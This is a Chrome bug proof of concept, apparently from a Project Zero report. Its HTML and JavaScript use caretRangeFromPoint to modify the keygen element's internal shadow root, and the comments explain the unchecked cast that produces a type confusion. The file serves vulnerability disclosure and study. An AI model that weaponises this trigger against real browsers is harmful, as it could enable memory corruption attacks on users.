22 lines
No EOL
733 B
HTML
22 lines
No EOL
733 B
HTML
<!--
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Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=994
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Chrome bug:
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https://bugs.chromium.org/p/chromium/issues/detail?id=666246
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PoC:
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-->
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<keygen id="keygen_element" style="position:absolute; height: 100px; width: 100px;">
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<script>
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var range = document.caretRangeFromPoint(50, 50);
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var shadow_tree_container = range.commonAncestorContainer;
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shadow_tree_container.prepend("foo");
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keygen_element.disabled = true;
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</script>
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<!--
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What happens here:
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1. caretRangeFromPoint() allows accessing (and modifying) userAgentShadowRoot from JavaScript
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2. HTMLKeygenElement::shadowSelect() blindly casts the first child of the userAgentShadowRoot to HTMLSelectElement without checking the Node type.
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--> |